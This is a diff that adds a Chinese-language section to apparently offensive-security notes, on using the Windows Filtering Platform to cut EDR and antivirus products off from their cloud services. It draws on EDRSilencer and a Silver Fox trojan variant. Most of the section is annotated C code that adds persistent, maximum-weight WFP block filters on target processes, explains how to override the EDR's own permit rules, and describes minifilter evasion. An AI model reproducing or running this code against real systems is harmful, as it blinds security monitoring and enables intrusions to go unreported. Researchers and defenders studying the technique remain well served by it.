@@ -54,3 +54,197 @@ pythonmemorymodule.MemoryModule(data=data)
5454
5555## 利用 WFP 断网杀软/EDR
5656
57+ ** Windows Filtering Platform (WFP)** 是 Windows Vista 及更高版本引入的一套网络流量过滤架构。它为防火墙、入侵检测系统(IDS)、杀毒软件等安全产品提供了统一的底层 API,用于检查和修改网络数据包。
58+
59+ 虽然许多安全产品通过 WFP Callout 驱动来实现网络监控,但恶意软件同样可以利用这一机制,注册恶意的 WFP 过滤器来隐藏自身流量或阻断安全软件的通信。
60+
61+ ### 传统方法 vs. WFP
62+
63+ 在传统攻防场景中,操控网络流量通常需要内核级访问权限(例如使用 NDIS 驱动或 TDI 过滤)。这种方式门槛较高,攻击者必须面对以下挑战:
64+
65+ * 编写并获取合法的内核驱动签名。
66+ * 绕过驱动签名强制执行(Driver Signature Enforcement)。
67+ * 对抗 PatchGuard (KPP) 等内核保护机制。
68+
69+ 相比之下,WFP 的用户态引擎 —— ** 基础过滤引擎 (BFE, Base Filtering Engine)** —— 允许任何拥有管理员权限的进程通过用户态 API 添加过滤器,而** 无需编写或加载内核驱动** 。攻击者只需调用 ` fwpuclnt.dll ` 中的几个函数,即可实现对网络层的控制。
70+
71+ ### EDRSilencer 与银狐的实现
72+
73+ 开源项目 [ EDRSilencer] ( https://github.com/netero1010/EDRSilencer ) 正是基于这一原理诞生的。该工具于 2023 年末发布,旨在针对 EDR/AV 进程设置 WFP 过滤器,从而屏蔽其与云端的通信,使其无法上报威胁信息。银狐木马在 2025 年的变种中也采用了完全相同的手段。
74+
75+ 为了规避检测,EDRSilencer 的作者自己实现了 ` FwpmGetAppIdFromFileName0 ` 函数,避免了直接调用 ` CreateFileW ` ,从而成功绕过了 Minifilter 的监控。
76+
77+ 以下是基于 EDRSilencer 核心逻辑的代码片段,展示了如何配置 WFP 过滤器以阻断特定进程的流量:
78+
79+ ``` c
80+ // ==================== WFP 过滤器配置 ====================
81+ // 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter0
82+
83+ // 设置过滤器显示名称(用于管理界面和 netsh wfp show filters 命令显示)
84+ filter.displayData.name = filterName;
85+
86+ // -------------------- 过滤器标志 --------------------
87+ // FWPM_FILTER_FLAG_PERSISTENT: 持久化过滤器
88+ // 特性:
89+ // - 过滤器信息存储在注册表 HKLM\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy 中
90+ // - BFE (Base Filtering Engine) 服务启动时自动加载
91+ // - 系统重启后依然生效,直到被显式删除 (FwpmFilterDeleteById0)
92+ // - 不能与 FWPM_FILTER_FLAG_BOOTTIME 同时使用
93+ // 对比:
94+ // - 不设置此标志 = 静态过滤器,BFE 停止或系统关机后消失
95+ // - 动态会话过滤器 = 会话断开后自动删除
96+ filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
97+
98+ // -------------------- 过滤层 (Layer) --------------------
99+ // FWPM_LAYER_ALE_AUTH_CONNECT_V4: ALE (Application Layer Enforcement) 出站连接授权层 (IPv4)
100+ // 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/ale-layers
101+ //
102+ // 触发时机:
103+ // - TCP: connect() 系统调用时
104+ // - UDP: 向唯一远程地址/端口发送的第一个数据包
105+ // - ICMP: 第一个出站非错误 ICMP 消息
106+ //
107+ // 为什么选择 ALE 层而非 Transport 层:
108+ // - ALE 层是有状态的 (stateful),每个连接只评估一次
109+ // - Transport 层是无状态的,每个数据包都会评估(性能开销大)
110+ // - 对于阻断 EDR 的 "首次出站连接" 场景,ALE 层足够且高效
111+ filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
112+
113+ // -------------------- 过滤动作 --------------------
114+ // FWP_ACTION_BLOCK: 阻断匹配的网络流量
115+ // 其他可选值:
116+ // - FWP_ACTION_PERMIT: 允许流量
117+ // - FWP_ACTION_CALLOUT_TERMINATING: 调用 callout 驱动处理并终止
118+ // - FWP_ACTION_CALLOUT_INSPECTION: 调用 callout 驱动检查但不终止
119+ filter.action.type = FWP_ACTION_BLOCK;
120+
121+ // -------------------- 过滤器权重 (Weight / Priority) --------------------
122+ // 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/filter-arbitration
123+ //
124+ // 权重决定过滤器的优先级,值越大优先级越高
125+ // 0xFFFFFFFFFFFFFFFF (UINT64_MAX) = 最高可能权重
126+ //
127+ // 为什么设置最大权重:
128+ // - 确保此过滤器在同一 sublayer 中先于其他过滤器被评估
129+ // - EDR 产品自己的 WFP 过滤器可能设置了 PERMIT 规则
130+ // - 使用最高权重可以"抢占"优先处理权,覆盖 EDR 的放行规则
131+ //
132+ // 权重类型说明:
133+ // - FWP_UINT64: 显式指定 64 位权重值
134+ // - FWP_EMPTY: 由 BFE 自动分配权重 (auto-weight)
135+ // - FWP_UINT8: 基于范围的自动权重 (0-15)
136+ UINT64 weightValue = 0xFFFFFFFFFFFFFFFF ;
137+ filter.weight.type = FWP_UINT64;
138+ filter.weight.uint64 = &weightValue; // 注意: 传递的是指针
139+
140+ // ==================== 过滤条件配置 ====================
141+ // 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter_condition0
142+
143+ // -------------------- 条件字段键 --------------------
144+ // FWPM_CONDITION_ALE_APP_ID: 基于应用程序标识符进行匹配
145+ // App ID 是可执行文件的 NT 设备路径,例如:
146+ // \device\harddiskvolume1\windows\system32\svchost.exe
147+ //
148+ // 其他常用条件字段:
149+ // - FWPM_CONDITION_IP_REMOTE_ADDRESS: 远程 IP 地址
150+ // - FWPM_CONDITION_IP_REMOTE_PORT: 远程端口
151+ // - FWPM_CONDITION_IP_PROTOCOL: IP 协议 (TCP/UDP/ICMP)
152+ // - FWPM_CONDITION_ALE_USER_ID: 发起连接的用户 SID
153+ cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
154+
155+ // -------------------- 匹配类型 --------------------
156+ // FWP_MATCH_EQUAL: 精确匹配
157+ // 其他匹配类型:
158+ // - FWP_MATCH_GREATER / FWP_MATCH_LESS: 数值比较
159+ // - FWP_MATCH_RANGE: 范围匹配 (如端口范围)
160+ // - FWP_MATCH_PREFIX: 前缀匹配 (如子网)
161+ // - FWP_MATCH_NOT_EQUAL: 不等于
162+ cond.matchType = FWP_MATCH_EQUAL;
163+
164+ // -------------------- 条件值 --------------------
165+ // FWP_BYTE_BLOB_TYPE: 字节块类型,用于存储可变长度数据
166+ // App ID 是一个 FWP_BYTE_BLOB 结构:
167+ // - size: 数据大小
168+ // - data: 指向 NT 设备路径的 Unicode 字符串
169+ //
170+ // appId 通常由 FwpmGetAppIdFromFileName0() 获取
171+ // EDRSilencer 自己实现了这个函数以绕过 EDR 的 minifilter 保护
172+ cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
173+ cond.conditionValue.byteBlob = appId;
174+
175+ // 将条件数组关联到过滤器
176+ // 多个条件之间是 AND 关系(所有条件都满足时才触发动作)
177+ filter.filterCondition = &cond;
178+ filter.numFilterConditions = 1 ; // 只有一个条件: 匹配目标进程
179+
180+ // ==================== Provider (提供者) 配置 ====================
181+ // 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/object-management
182+ //
183+ // Provider 是 WFP 对象的逻辑分组机制,用于:
184+ // - 标识过滤器的创建者/所有者
185+ // - 管理界面中分类显示
186+ // - 便于批量查询和删除同一来源的过滤器
187+ //
188+ // 检查是否已存在同名 Provider,避免重复创建
189+ if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
190+ // 已存在,复用现有 Provider
191+ filter.providerKey = &providerGuid;
192+ } else {
193+ // 不存在,创建新 Provider
194+ provider.displayData.name = providerName;
195+ provider.displayData.description = providerDescription;
196+
197+ // FWPM_PROVIDER_FLAG_PERSISTENT: Provider 也设为持久化
198+ // 确保系统重启后 Provider 信息依然存在
199+ provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
200+
201+ result = FwpmProviderAdd0(hEngine, &provider, NULL);
202+ if (result != ERROR_SUCCESS) {
203+ printf ("[ -] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
204+ } else {
205+ // 创建成功后获取其 GUID 并关联到过滤器
206+ if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
207+ filter.providerKey = &providerGuid;
208+ }
209+ }
210+ }
211+
212+ // ==================== 添加过滤器到 IPv4 层 ====================
213+ // FwpmFilterAdd0 参数:
214+ // - hEngine: WFP 引擎句柄 (由 FwpmEngineOpen0 获取)
215+ // - &filter: 过滤器配置结构
216+ // - NULL: 安全描述符 (NULL = 使用默认)
217+ // - &filterId: 输出参数,返回新创建过滤器的 ID (用于后续删除)
218+ result = FwpmFilterAdd0(hEngine, &filter, NULL , &filterId);
219+ if (result == ERROR_SUCCESS) {
220+ printf ("Added WFP filter for \" %s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
221+ } else {
222+ // 常见错误码:
223+ // - FWP_E_ALREADY_EXISTS (0x80320009): 过滤器已存在
224+ // - FWP_E_INCOMPATIBLE_TXN: 在只读事务中调用
225+ // - ERROR_ACCESS_DENIED: 权限不足
226+ printf ("[ -] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
227+ }
228+
229+ // ==================== 添加过滤器到 IPv6 层 ====================
230+ // 现代网络环境中 IPv6 流量越来越常见
231+ // EDR 可能通过 IPv6 地址与云端通信,因此需要同时阻断
232+ // 只需修改 layerKey,其他配置复用
233+ filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
234+ result = FwpmFilterAdd0(hEngine, &filter, NULL , &filterId);
235+ if (result == ERROR_SUCCESS) {
236+ printf ("Added WFP filter for \" %s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
237+ } else {
238+ printf ("[ -] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
239+ }
240+
241+ // ==================== 资源清理 ====================
242+ // 释放 App ID 占用的内存 (FwpmFreeMemory0)
243+ FreeAppId (appId);
244+
245+ // 关闭 WFP 引擎句柄
246+ // 注意: 由于过滤器设置了 PERSISTENT 标志,关闭句柄不会删除过滤器
247+ FwpmEngineClose0(hEngine);
248+ return;
249+ }
250+ ```
0 commit comments